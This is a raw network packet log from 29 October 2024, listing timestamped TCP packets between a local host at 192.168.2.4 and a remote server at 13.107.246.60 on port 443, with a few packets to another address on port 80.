Oct 29, 2024 04:53:06.869631052 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.869875908 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.869925022 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.870004892 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.870004892 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.870012999 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.870019913 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.872158051 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.872173071 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.872231960 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.872381926 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.872391939 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.873241901 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.873394012 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.873454094 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.873507023 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.873512030 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.873519897 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.873523951 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.884417057 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.884563923 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.884613037 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.884655952 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.884666920 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.884676933 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.884681940 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.903191090 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.903215885 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.903280973 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.904072046 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.904088020 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.909385920 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.909400940 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.909461975 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.909620047 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.909631968 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.533198118 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.533756971 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.533775091 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.534240007 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.534245014 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.544256926 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.544512033 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.544538975 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.544856071 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.544862986 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.598148108 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.598702908 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.598718882 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.599183083 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.599188089 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.642554998 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.642915964 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.642931938 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.643301010 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.643307924 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.644927025 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.645232916 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.645241976 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.645558119 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.645561934 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.663687944 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.663850069 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.663911104 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.663944006 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.663959026 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.663969040 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.663975000 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.666857004 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.666892052 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.666964054 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.667079926 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.667094946 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.675252914 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.675302982 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.675354958 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.675482035 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.675498962 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.675510883 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.675518036 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.677725077 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.677736998 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.677812099 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.677947044 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.677958965 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.727308989 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.727438927 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.727504015 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.727581024 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.727586031 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.727595091 CET	49806	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.727598906 CET	443	49806	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.729695082 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.729711056 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.729779959 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.729911089 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.729923964 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.772386074 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.772538900 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.772598982 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.772711992 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.772727013 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.772738934 CET	49807	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.772744894 CET	443	49807	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.774940014 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.775006056 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.775063038 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.775252104 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.775257111 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.775265932 CET	49808	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.775269032 CET	443	49808	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.776209116 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.776230097 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.776288033 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.776575089 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.776591063 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.777321100 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.777350903 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:07.777404070 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.777514935 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:07.777524948 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.342952967 CET	49724	80	192.168.2.4	93.184.221.240
Oct 29, 2024 04:53:08.348680973 CET	80	49724	93.184.221.240	192.168.2.4
Oct 29, 2024 04:53:08.348826885 CET	49724	80	192.168.2.4	93.184.221.240
Oct 29, 2024 04:53:08.401463032 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.401993990 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.402007103 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.402467966 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.402473927 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.419540882 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.420109987 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.420124054 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.420628071 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.420631886 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.458785057 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.459197044 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.459217072 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.459616899 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.459631920 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.512006044 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.512403965 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.512440920 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.512756109 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.512763023 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.531743050 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.531806946 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.531857014 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.532084942 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.532084942 CET	49809	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.532104969 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.532114983 CET	443	49809	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.534857988 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.534884930 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.534965992 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.535116911 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.535137892 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.552593946 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.552695990 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.552752018 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.552773952 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.552788973 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.552797079 CET	49810	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.552800894 CET	443	49810	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.554893970 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.554933071 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.555001974 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.555130959 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.555143118 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.561105967 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.561398029 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.561414957 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.561820984 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.561825991 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.590331078 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.590627909 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.590790033 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.590790033 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.590790033 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.592952967 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.592981100 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.593044043 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.593187094 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.593202114 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.640549898 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.640638113 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.640753031 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.640921116 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.640933037 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.640969992 CET	49812	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.640975952 CET	443	49812	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.643816948 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.643884897 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.643984079 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.644141912 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.644171953 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.705527067 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.705739021 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.705952883 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.705952883 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.705954075 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.708631039 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.708648920 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.708738089 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.708898067 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.708913088 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:08.889600992 CET	49811	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:08.889631033 CET	443	49811	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.014601946 CET	49813	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.014628887 CET	443	49813	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.270561934 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.271173954 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.271192074 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.271553040 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.271559000 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.308532000 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.309108019 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.309124947 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.309463978 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.309469938 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.315701008 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.316046953 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.316068888 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.316447020 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.316453934 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.394740105 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.395121098 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.395195961 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.395522118 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.395539045 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.400459051 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.400753975 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.400804996 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.400835037 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.400851011 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.400863886 CET	49814	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.400870085 CET	443	49814	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.403399944 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.403464079 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.403593063 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.403716087 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.403743029 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.441601038 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.441704988 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.441756964 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.441852093 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.441868067 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.441876888 CET	49815	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.441880941 CET	443	49815	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.444911957 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.444962978 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.445065975 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.445179939 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.445211887 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.445769072 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.446067095 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.446079969 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.446475029 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.446480989 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.457169056 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.457367897 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.457421064 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.457454920 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.457465887 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.457494974 CET	49816	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.457501888 CET	443	49816	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.460120916 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.460194111 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.460268021 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.460417032 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.460445881 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.526274920 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.526410103 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.526478052 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.526563883 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.526563883 CET	49817	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.526598930 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.526628017 CET	443	49817	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.529027939 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.529064894 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.529139042 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.529268980 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.529309034 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.574995995 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.575125933 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.575176954 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.575261116 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.575261116 CET	49818	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.575272083 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.575283051 CET	443	49818	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.577490091 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.577539921 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:09.577780008 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.577780008 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:09.577863932 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.145426035 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.145971060 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.146053076 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.146462917 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.146478891 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.181122065 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.181519032 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.181544065 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.181920052 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.181931019 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.207015991 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.207622051 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.207654953 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.207992077 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.208005905 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.273776054 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.274132967 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.274153948 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.274499893 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.274509907 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.276124954 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.276366949 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.276431084 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.276492119 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.276492119 CET	49819	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.276531935 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.276561022 CET	443	49819	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.279258966 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.279284000 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.279359102 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.279476881 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.279489994 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.311944962 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.312060118 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.312114000 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.312180042 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.312206984 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.312232971 CET	49820	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.312247992 CET	443	49820	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.314069986 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.314218044 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.314250946 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.314306974 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.314466953 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.314507008 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.314903975 CET	49823	443	192.168.2.4	13.107.246.60
